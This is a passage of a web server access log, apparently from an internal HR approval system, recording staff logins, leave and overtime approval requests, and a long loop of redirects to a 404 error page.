/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:50 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:51 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:40:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:40:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.52 - - [05/Dec/2025:11:41:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:41:19 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.40.52 - - [05/Dec/2025:11:41:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.52 - - [05/Dec/2025:11:41:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.12.59 - - [05/Dec/2025:11:59:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.12.59 - - [05/Dec/2025:11:59:27 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:11:59:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:11:59:28 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.12.59 - - [05/Dec/2025:11:59:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:11:59:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:11:59:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:11:59:31 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 192.168.12.59 - - [05/Dec/2025:11:59:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:11:59:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.12.59 - - [05/Dec/2025:11:59:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 27770 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:11:59:37 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 27770 192.168.12.59 - - [05/Dec/2025:11:59:50 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 7670 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:11:59:50 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 7670 192.168.12.59 - - [05/Dec/2025:11:59:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:11:59:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH004&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:11:59:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 112901 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:11:59:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 200 112901 192.168.12.59 - - [05/Dec/2025:12:00:00 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:00 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132747%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132747&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132747%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132747&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [05/Dec/2025:12:00:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [05/Dec/2025:12:00:03 +0800] "GET 